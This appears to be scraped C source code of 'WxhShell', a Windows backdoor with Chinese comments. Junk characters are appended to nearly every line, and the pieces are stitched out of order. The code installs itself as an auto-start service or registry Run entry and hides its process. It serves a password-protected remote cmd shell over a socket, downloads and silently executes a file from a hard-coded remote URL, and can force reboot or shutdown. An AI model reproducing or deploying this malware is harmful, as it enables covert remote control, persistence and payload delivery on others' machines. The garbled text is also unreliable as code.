    if(Boot(SHUTDOWN)) 'k?%39  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R*v~jR/   
    else { Oc|`<^m  
    closesocket(wsh); `H:5D5]  
    ExitThread(0);  t dl Y  
    } <d$L}uQwg  
    break; #fy#G}c  
    } phT|w H  
  // 获取shell /:YJ2AARY  
  case 's': { ] X9e|  
    CmdShell(wsh); Od?M4Ed(  
    closesocket(wsh); Hkcr+BQ  
    ExitThread(0); w A0 $d  
    break; kFJ sB,2-  
  } 7~2/NU?  
  // 退出 Zr&~gXmVS  
  case 'x': { jP]I>Tq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fc~6/  
    CloseIt(wsh); 7(q EHZEr  
    break; WxN@&g(  
    } rW~hFSrV[o  
  // 离开 eC9nOwp]xH  
  case 'q': { NaR/IsN8%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8op,;Z7Y  
    closesocket(wsh); ugZ-*e7  
    WSACleanup(); HW{si]~q  
    exit(1); D 2U")g}U  
    break; DH#n7s'b  
        } $qoh0$  
  } X"S-f; b#  
  } jK[~d Y  
(&=<UGY(w  
  // 提示信息 _;;'/rs j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]w3-No  
} !zhg3B# p  
  } )CYm/dk  
)4[Yplo  
  return; U_-9rkUa  
} M!{;:m28X!  
O3?3XB> <  
// shell模块句柄 0={@GhjApL  
int CmdShell(SOCKET sock) RjII(4Et  
{ j2U iZLuV  
STARTUPINFO si; (-RZ|VdYg  
ZeroMemory(&si,sizeof(si)); y5td o'Ex  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sd@JQ%O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^`W8>czi  
PROCESS_INFORMATION ProcessInfo; AI$r^t1  
char cmdline[]="cmd"; ]6`]+&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w3,1ImrXp  
  return 0; lw.4O^  
} FD}hw9VyF@  
d!V;\w  
// 自身启动模式 [r_YQ*+ej  
int StartFromService(void) A]z~Dw3  
{ /EN3>25"#  
typedef struct *1}UK9X;  
{ O#}'QZd'  
  DWORD ExitStatus; i; 8""A  
  DWORD PebBaseAddress; -P+@n)?T6  
  DWORD AffinityMask; .,)C^hs@  
  DWORD BasePriority; Dlc=[kf9  
  ULONG UniqueProcessId; z!z+E%H^  
  ULONG InheritedFromUniqueProcessId; (&2 5 8i,  
}   PROCESS_BASIC_INFORMATION; {^r8uKo:~  
q8j W&_  
PROCNTQSIP NtQueryInformationProcess; *PXlbb  
)FNvtLZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7*!h:rg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xq?9w$  
_I("k:E7  
  HANDLE             hProcess; 52*9q!  
  PROCESS_BASIC_INFORMATION pbi; % R18  
F,t ,Ja  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,a:!"Z^ f  
  if(NULL == hInst ) return 0; j k%MP6  
.L,xqd[zC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N36<EHq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 20 j9~+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o\_@4hXf  
-Y*"!8  
  if (!NtQueryInformationProcess) return 0; iIOA54!o  
&"D *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jTo-xP{lC  
  if(!hProcess) return 0; j%2l%Mx(  
px@:t}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q,#j *  
[D]9M"L,vQ  
  CloseHandle(hProcess); W?a{3B   
j@JhxCe1+R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uR|?5DK  
if(hProcess==NULL) return 0; 6Un61s  
-h5yg`+1N\  
HMODULE hMod; Q(P'4XCm  
char procName[255]; q/ x(:yol  
unsigned long cbNeeded; z9@Tg= #i  
$1QQidB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `MMh"# xN  
#=tWjInm  
  CloseHandle(hProcess); qIbp0`m  
0P(U^rkR~  
if(strstr(procName,"services")) return 1; // 以服务启动 /H_,1Fu|  
~16QdwK  
  return 0; // 注册表启动 0K\Xxo.=  
} 8PWx>}XPt  
=")}wl=s  
// 主模块 ]K]$FX<f  
int StartWxhshell(LPSTR lpCmdLine) &WSxg&YG)\  
{ '#~$Od4&=  
  SOCKET wsl; ?\GILB,  
BOOL val=TRUE; hJqLH ?Ri  
  int port=0; hXsd12  
  struct sockaddr_in door; /~w!7n<7  
RUJkfi=$  
  if(wscfg.ws_autoins) Install(); /Iwnl   
()< E?D=  
port=atoi(lpCmdLine); RC_w 1:h  
OYw~I.Rq  
if(port<=0) port=wscfg.ws_port; 4!'1o`8vs  
c7$L:  
  WSADATA data; )7U^&I,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sSisO?F!Z  
e:SBX/\j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [dG&"%5vD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y\7>>?  
  door.sin_family = AF_INET; 9:|z^r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AlW0GK=N-p  
  door.sin_port = htons(port); V SJGp`  
tb^8jC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nm{\?  
closesocket(wsl); .ZuRH_pI  
return 1; ff.(X!  
} T#;W5<"  
#) eI]  
  if(listen(wsl,2) == INVALID_SOCKET) { 8]@)0q {r  
closesocket(wsl); [>5<&[A  
return 1; #;9I3,@/Y  
} ?2hS<qXX  
  Wxhshell(wsl); Ekb9=/  
  WSACleanup(); ~H[  
_ZM$&6EC  
return 0; .Dn.|A  
U} EaV<  
} AJk0jh\.j%  
XLEEd?Vct9  
// 以NT服务方式启动 {!? @u?M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !N\<QRb\q  
{ _zAHN0d  
DWORD   status = 0; R+'$V$g\X  
  DWORD   specificError = 0xfffffff; w! J|KM  
ET]PF,`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lHRs3+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; grvm2`u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (G:A^z  
  serviceStatus.dwWin32ExitCode     = 0; Gm,vLs9H$T  
  serviceStatus.dwServiceSpecificExitCode = 0; }2WscxL  
  serviceStatus.dwCheckPoint       = 0; ]_Cm 5Z7  
  serviceStatus.dwWaitHint       = 0; Y7W xV>E  
b2}>{Li0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W62 $ HI  
  if (hServiceStatusHandle==0) return; N_dHPa  
uvN Lm]*  
status = GetLastError(); XRZj+muTZ  
  if (status!=NO_ERROR) 6f"jl  
{ l(c2 B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q5[x2 s_d  
    serviceStatus.dwCheckPoint       = 0; :O`7kZ]=n  
    serviceStatus.dwWaitHint       = 0; ~d0:>8zQR  
    serviceStatus.dwWin32ExitCode     = status; OT1  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ |bN[XL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4( Q_J4}P  
    return; /z<7gd~oU  
  } ^$8@B]*  
bsfYz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G.2\Sw  
  serviceStatus.dwCheckPoint       = 0; t)#8r,9c  
  serviceStatus.dwWaitHint       = 0; Gv ';  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xC3h m  
} {1 VHz])I  
T1$fu(f  
// 处理NT服务事件,比如:启动、停止 BZS%p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |l4tR  
{ xJG&vOf;?  
switch(fdwControl) -^1}J  
{ 8Zj=:;  
case SERVICE_CONTROL_STOP: N>R\,n|I  
  serviceStatus.dwWin32ExitCode = 0; 3.i$lp`t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #?x!:i$-  
  serviceStatus.dwCheckPoint   = 0; Ck:RlF[6C  
  serviceStatus.dwWaitHint     = 0; 2TFb!?/RQ  
  { #&V7CYJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k#eH Q!  
  } I5nxY)v  
  return; OyI?P_0u  
case SERVICE_CONTROL_PAUSE: `,lm:x+(0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YmrrZ&]q  
  break; d=` a-R0  
case SERVICE_CONTROL_CONTINUE: 968<yO]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ///  
  break; \,UpFuU\  
case SERVICE_CONTROL_INTERROGATE: UB5CvM28  
  break; gmdJ8$  
}; pUc N-WA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BiFU3FlTf  
} (/mR p  
m:6^yfS  
// 标准应用程序主函数 1X8P v*,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y4\(ynk  
{ JfOBZQ  
a&^HvXO(>(  
// 获取操作系统版本 ro&/  
OsIsNt=GetOsVer(); a+HGlj 2>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Rj_p&'  
^sF/-/ {?U  
  // 从命令行安装 { l E\y9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7 KuUV!\h`  
~FP4JM,y6  
  // 下载执行文件 ]\ ~s83?X  
if(wscfg.ws_downexe) { u%t/W0xi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _i3?;Fds  
  WinExec(wscfg.ws_filenam,SW_HIDE); M]Kx g;  
} tPp9=e2[s  
I cJy$+  
if(!OsIsNt) { f|v5i tO2  
// 如果时win9x,隐藏进程并且设置为注册表启动 C Oc,  
HideProc(); $_cO7d  
StartWxhshell(lpCmdLine); *VUD!`F  
} H=/;  
else Sg&0a$  
  if(StartFromService()) e/7rr~"|  
  // 以服务方式启动 w"Q/ 6#!K  
  StartServiceCtrlDispatcher(DispatchTable); Ub,5~I+`  
else `4SwdW n  
  // 普通方式启动 D'8xP %P  
  StartWxhshell(lpCmdLine); MyZ5~jnr\  
&GfDo4$  
return 0; N9dx^+\  
} `{oFdvL~)  
5cUz^ >  
; b`kN;s  
e,?qwZK:y  
=========================================== nF5\iV  
HZawB25{  
Y5ZBP?P  
3wYhDxY1  
g[c_rty  
|j2$G~B6  
" 7DZZdH$Fm  
YHp]O+c  
#include <stdio.h> XLgp.w;  
#include <string.h> N,3 )`Vm  
#include <windows.h> DqJzsk'd3  
#include <winsock2.h> "C]v   
#include <winsvc.h> qo*%S  
#include <urlmon.h> ;hV-*;>  
,I2x&Ys&.  
#pragma comment (lib, "Ws2_32.lib")  "d; T1  
#pragma comment (lib, "urlmon.lib") Fv} Uq\v[  
@$7'{*  
#define MAX_USER   100 // 最大客户端连接数 tqFE>ojlI  
#define BUF_SOCK   200 // sock buffer r}\m%(i  
#define KEY_BUFF   255 // 输入 buffer >2s31 {  
]as+gZ8  
#define REBOOT     0   // 重启 CJYpgSr  
#define SHUTDOWN   1   // 关机 WHy r;m3)  
3j6Am{9  
#define DEF_PORT   5000 // 监听端口 ?mp}_x#=  
:|HCUZ*H(T  
#define REG_LEN     16   // 注册表键长度 ==Ah& ){4^  
#define SVC_LEN     80   // NT服务名长度 t" $#KP<  
ysH'X95  
// 从dll定义API MqAN~<l [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'PvOOhm,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mp3nR5@d$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~]Weyb[ N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ["H2H rI2  
cK1 Fv6V#  
// wxhshell配置信息 5F78)q u6N  
struct WSCFG { D &Bdl5g  
  int ws_port;         // 监听端口 zHX7%x,Cq  
  char ws_passstr[REG_LEN]; // 口令 h]vu BHJ}  
  int ws_autoins;       // 安装标记, 1=yes 0=no "oT&KW   
  char ws_regname[REG_LEN]; // 注册表键名 &?H`MCv t  
  char ws_svcname[REG_LEN]; // 服务名 adtgNwg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %BwvA_T'Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M,vCAZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ce<88dL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s$Vz1B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZA7b;{o [  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W_L;^5Y;m  
Y`*h#{|  
}; {nj`>  
<u}[_  
// default Wxhshell configuration E#~J"9k98  
struct WSCFG wscfg={DEF_PORT, Ly-}HW(  
    "xuhuanlingzhe", AIG5a$}&  
    1, gX~lYdA  
    "Wxhshell", ?&JK q^9\I  
    "Wxhshell", `sLD>@m  
            "WxhShell Service", RZ0+Uu/J  
    "Wrsky Windows CmdShell Service", YS bS.tq  
    "Please Input Your Password: ", A~ @x8  
  1, pG^>y0  
  "http://www.wrsky.com/wxhshell.exe", uC|bC#;  
  "Wxhshell.exe" %$&_!  
    }; WS.lDMYE7  
QKIg5I-  
// 消息定义模块 MmQk@~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >ra)4huZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gs(ZJO1 /L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6J<R;g23R]  
char *msg_ws_ext="\n\rExit."; f2 ?01PM,Q  
char *msg_ws_end="\n\rQuit."; he|.Ow  
char *msg_ws_boot="\n\rReboot..."; }2''}-Nc  
char *msg_ws_poff="\n\rShutdown..."; 0V+v)\4FE  
char *msg_ws_down="\n\rSave to "; !8*7{7  
}_oQg_-7e  
char *msg_ws_err="\n\rErr!"; 5i-VnG  
char *msg_ws_ok="\n\rOK!"; IOY<'t+  
*&~(>gNF,  
char ExeFile[MAX_PATH]; Zg3 /,:1  
int nUser = 0; M%bD7naBq  
HANDLE handles[MAX_USER]; ?h:xO\h8  
int OsIsNt; |~B`[p]5H  
hz+c]K  
SERVICE_STATUS       serviceStatus; Z=be ki]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =J`M}BBx  
`h~-  
// 函数声明 *{(tg~2'(  
int Install(void); bAEwjZ  
int Uninstall(void); [JEf P/n|.  
int DownloadFile(char *sURL, SOCKET wsh); AEd9H +I  
int Boot(int flag); 9z+ZFIf7d  
void HideProc(void); :pLaxWus!  
int GetOsVer(void); EGzlRSgO  
int Wxhshell(SOCKET wsl); fLZ99?J  
void TalkWithClient(void *cs); D%= j@  
int CmdShell(SOCKET sock); 6J <.i  
int StartFromService(void); ZU;nXqjc  
int StartWxhshell(LPSTR lpCmdLine); tu^C<MV  
Ry40:;MYN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jt0f*e YE8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A}[x ))r  
y\=^pla  
// 数据结构和表定义 :Q}Zb,32  
SERVICE_TABLE_ENTRY DispatchTable[] = U U3o (Yq  
{ L0qL\>#ejr  
{wscfg.ws_svcname, NTServiceMain}, xHe "c<  
{NULL, NULL} C8O<fwNM  
}; qG3MyK%O\  
eMtQa;Lc9o  
// 自我安装 #i=m%>zjN  
int Install(void) i)(-Ad_  
{ 47)\\n_\z  
  char svExeFile[MAX_PATH]; +o]J0Gu  
  HKEY key; (gUVZeVFP  
  strcpy(svExeFile,ExeFile); _QneaPm%  
Yv3 P]6c.  
// 如果是win9x系统,修改注册表设为自启动 !$p E=~1C  
if(!OsIsNt) { %zN~%mJG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hX:yn:P~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sj&1I.@,>  
  RegCloseKey(key); z8j7K'vV1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G_ #MXFWt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a&Me#H{  
  RegCloseKey(key); }[y_Fr0  
  return 0; l)f 2T@bHl  
    } bZ}T;!U?I  
  } w3M F62:  
} }Vfc;2  
else { +&.39q !  
2L S91  
// 如果是NT以上系统,安装为系统服务 x,c\q$8yH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _opB,,G  
if (schSCManager!=0) $49;\pBZl  
{ 1aezlDc*  
  SC_HANDLE schService = CreateService \CBL[X5tr  
  ( S<g~VK!Tt  
  schSCManager, t\O#5mo  
  wscfg.ws_svcname, g6@^n$Y  
  wscfg.ws_svcdisp, *t`=1Ioj  
  SERVICE_ALL_ACCESS, k/i&e~! \  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xu@+b~C\  
  SERVICE_AUTO_START, .SDE6nvbW  
  SERVICE_ERROR_NORMAL, MC1&X'  
  svExeFile, >gDKkeLD  
  NULL, j2oU1' b  
  NULL, p-h(C'PqF  
  NULL, #e[igxwi  
  NULL, Jm 1n|f  
  NULL HMw}pp:  
  ); w$aejz`[  
  if (schService!=0) lr=quWDY  
  { !Y*O0_  
  CloseServiceHandle(schService); 7!~)a  
  CloseServiceHandle(schSCManager); u6 4{w,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p+CK+m   
  strcat(svExeFile,wscfg.ws_svcname); !gi3J @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d!y_N&z|(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {(Ba  
  RegCloseKey(key); QEP|%$:i  
  return 0; Kc`#~-`,(  
    } k)agbx  
  } 'JJ :  
  CloseServiceHandle(schSCManager); of>H&G)@  
} A`V:r2hnb  
} L(}/W~En  
cK75Chsu  
return 1; N~DO_^  
} AIw~@*T  
|5*:ThC[  
// 自我卸载 <W/YC 2b  
int Uninstall(void) jWK>=|)=c  
{ [ub)`-6 u  
  HKEY key; 58]t iP"  
0+k=gO  
if(!OsIsNt) { vkLyGb7r<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c LfPSA  
  RegDeleteValue(key,wscfg.ws_regname); E0eZal],  
  RegCloseKey(key); Dk}txw}#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5KW n>n  
  RegDeleteValue(key,wscfg.ws_regname); c@$W]o"A  
  RegCloseKey(key); L"}2Y3  
  return 0; \cQ+9e)  
  } .]/k#Hv  
} ?}No'E1!I  
} c#a>> V  
else { (]$&.gE.F  
Fyc":{Jd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pz]KUQ  
if (schSCManager!=0) <q=]n%nX  
{ v>5TTL~?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d6A+pa'2  
  if (schService!=0) 72dd%  
  { rGzGbI=  
  if(DeleteService(schService)!=0) { MpJ]1  
  CloseServiceHandle(schService); 5oR)  
  CloseServiceHandle(schSCManager); C <H$}f  
  return 0; :!fU+2$`^(  
  } tY60~@YO&  
  CloseServiceHandle(schService); aL/7xa  
  } 6G:7r [  
  CloseServiceHandle(schSCManager); l?KP /0`  
} $Q`\-  
} X + B=?|M  
\n-.gG  
return 1; 2lxA/.f  
} Rc}#4pM8  
L7N>p4h]Xj  
// 从指定url下载文件 Bb7Vf7>  
int DownloadFile(char *sURL, SOCKET wsh) gh% Q9Ni-  
{ T8Ye+eP}  
  HRESULT hr; @Z89cTO  
char seps[]= "/"; o3.b='HAm  
char *token; 87hU#nVYh  
char *file; -_f-j  
char myURL[MAX_PATH]; 2`V(w[zTr  
char myFILE[MAX_PATH]; 1Ch0O__2L  
J:\O .F#Fi  
strcpy(myURL,sURL); aK8X,1g%)  
  token=strtok(myURL,seps); I}\`l+  
  while(token!=NULL) cLIeo{H  
  { `91?^T;\F  
    file=token; l(~NpT{=V  
  token=strtok(NULL,seps); KXcE@q9  
  } !{XVaQ?x  
cB2~W%H  
GetCurrentDirectory(MAX_PATH,myFILE); ^F-AZP /5F  
strcat(myFILE, "\\"); <#lNi.?.  
strcat(myFILE, file); 6^TWY[z2%  
  send(wsh,myFILE,strlen(myFILE),0); dbfI!4  
send(wsh,"...",3,0); Cp#}x1{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TWU1@5?Ct  
  if(hr==S_OK) Kj+TP qXb  
return 0; Jy0(g T  
else &IFXU2t}  
return 1; ":L d}~>  
Ar`U / %Cu  
} BsYJIKfW  
Rc~63![O.  
// 系统电源模块 ,772$7x  
int Boot(int flag) %D[6;PT  
{ |w.5*]?H  
  HANDLE hToken; +\Je B/F  
  TOKEN_PRIVILEGES tkp; j`-9.  
0fx.n  
  if(OsIsNt) { kQ.3J.Q5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !D 9V9p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +P=I4-?eX  
    tkp.PrivilegeCount = 1; MQVEO5   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @eRv`O"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K}Lu1:~  
if(flag==REBOOT) { Sp@{5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e it%U  
  return 0; f:h<tlob  
} !3Q^oR  
else { 7/FF}d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \C`2z]V%  
  return 0; t,qz%J&a  
} 4M>EQF&  
  } Y^'mBM#j  
  else { XI5q>cd\Sz  
if(flag==REBOOT) { e;&fO[ 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (&qjY I  
  return 0; I>@Qfc bG  
} 9S{0vc/2@  
else { <is%lx(GDX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bmi9U   
  return 0; b IZi3GmRF  
} 2%@<A  
} kDWvjT  
n<MreKixE  
return 1; :SVWi}:Co1  
} 8z* /J=n  
%>,Kd6bdg  
// win9x进程隐藏模块 rq^VOK|L  
void HideProc(void) &(A'uX.>pr  
{ J\\o# -H  
T$4Utd5[z'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bk~%  
  if ( hKernel != NULL ) jNP%BNd1f  
  { tnC,1HV0[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {_X&{dZLX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D<xDj#Z~1  
    FreeLibrary(hKernel); >~\CiV4^  
  } `MXGEJF  
@%[ VegT  
return; r#WAS2.TP  
} q#.+P1"U  
P6;Cohfh  
// 获取操作系统版本 p}h9>R  
int GetOsVer(void) rTM0[2N  
{ YMn_9s7<  
  OSVERSIONINFO winfo; (?~*.g!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [2nPr^  
  GetVersionEx(&winfo); (J`EC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eo_; N c  
  return 1; %o#|zaK  
  else u$mp%d8  
  return 0; *x&y24  
} &(rR)cG  
Z_[jah  
// 客户端句柄模块 TXK82qTdf  
int Wxhshell(SOCKET wsl) R5MY\^H/A  
{ |1Pi`^  
  SOCKET wsh; s F3M= uz  
  struct sockaddr_in client; w-?Cg8bq<  
  DWORD myID; x-@6U  
ZVz`-h B  
  while(nUser<MAX_USER) f}+8m .g2  
{ D2Dk7//82Y  
  int nSize=sizeof(client); G:{\-R'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r#/Bz5Jb*  
  if(wsh==INVALID_SOCKET) return 1; C07U.nzh  
ftbOvG/ I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zNJ-JIo%  
if(handles[nUser]==0) rqYx\i?  
  closesocket(wsh); !!UQ,yU  
else x|<89o L  
  nUser++; @3I/57u<  
  } \k*h& :$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lcEin*Oc  
Y,s@FGI2  
  return 0; f 7j9'k  
} 2?\L#=<F  
</Ry4x^A  
// 关闭 socket g(F? qP_K  
void CloseIt(SOCKET wsh) >O}J*4A>+#  
{ B;xGTl@8  
closesocket(wsh); %Dm:|><V$b  
nUser--; /S&8%fb  
ExitThread(0); K!_''Fg  
} "\1QJ  
W1p5F\ wt  
// 客户端请求句柄 -O?&+xIK&  
void TalkWithClient(void *cs) J1{ucFa  
{ >X-*Hu'U#  
,{u'7p  
  SOCKET wsh=(SOCKET)cs; -K%~2M<  
  char pwd[SVC_LEN]; A0 1 D-)  
  char cmd[KEY_BUFF]; wv_<be[?*  
char chr[1]; $+@xwuY'+  
int i,j; UJ6zgsD1b?  
2q*aq%  
  while (nUser < MAX_USER) { };@J)}  
Z|qUVD5Ic  
if(wscfg.ws_passstr) { ?<-ins  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oY0`igH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f3HleA&&  
  //ZeroMemory(pwd,KEY_BUFF); xEvm>BZi  
      i=0; Yq0=4#_  
  while(i<SVC_LEN) { K44j-Ypb  
9!|+GIjn  
  // 设置超时 @m Id{w z  
  fd_set FdRead; 7c.LyvM  
  struct timeval TimeOut; B5fF\N^  
  FD_ZERO(&FdRead); {>R'IjFc  
  FD_SET(wsh,&FdRead); D'3. T{*rH  
  TimeOut.tv_sec=8; 1# X*kF  
  TimeOut.tv_usec=0; c-hhA%@Wq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _=;ltO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ug,23  
4m3pF0k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,?zOJ,wl  
  pwd=chr[0]; Z@b GLS  
  if(chr[0]==0xd || chr[0]==0xa) { B[nkE+s  
  pwd=0; \]+57^8r  
  break; N(BCe\FV  
  } #Ez+1  
  i++; cWNWgdk,`V  
    } Tx\g5rk  
IYk^eG:;  
  // 如果是非法用户,关闭 socket K5SP8<.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?^H1X-;  
} Jdp@3mP  
H{nYZOf/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UAq%Y8KA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }g|)+V\A  
H.8Vm[W  
while(1) { 58H%#3Fy  
hpOUz%  
  ZeroMemory(cmd,KEY_BUFF); "[BDa}Il  
,3E9H&@j  
      // 自动支持客户端 telnet标准   }MV=I$S2U  
  j=0; Ar VNynQ  
  while(j<KEY_BUFF) { 8  }(ul  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sCE2 F_xjL  
  cmd[j]=chr[0]; ;5wr5H3  
  if(chr[0]==0xa || chr[0]==0xd) { h1 (MvEt  
  cmd[j]=0; y:3d`E4Xw  
  break; [Y=X^"PF  
  } ,,KGcDBj  
  j++; -S,xR5  
    } 37QXML  
]J* y`jn  
  // 下载文件 lTn~VsoRZ  
  if(strstr(cmd,"http://")) { '{(/C?T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xMAb=87_  
  if(DownloadFile(cmd,wsh)) cXo^.u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); auS.q5 %  
  else dn)pVti_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z 2x%  
  } J%n{R60b  
  else { SS/t8Y4W  
x3++JG  
    switch(cmd[0]) { bR;Zc  
  C5^eD^[c  
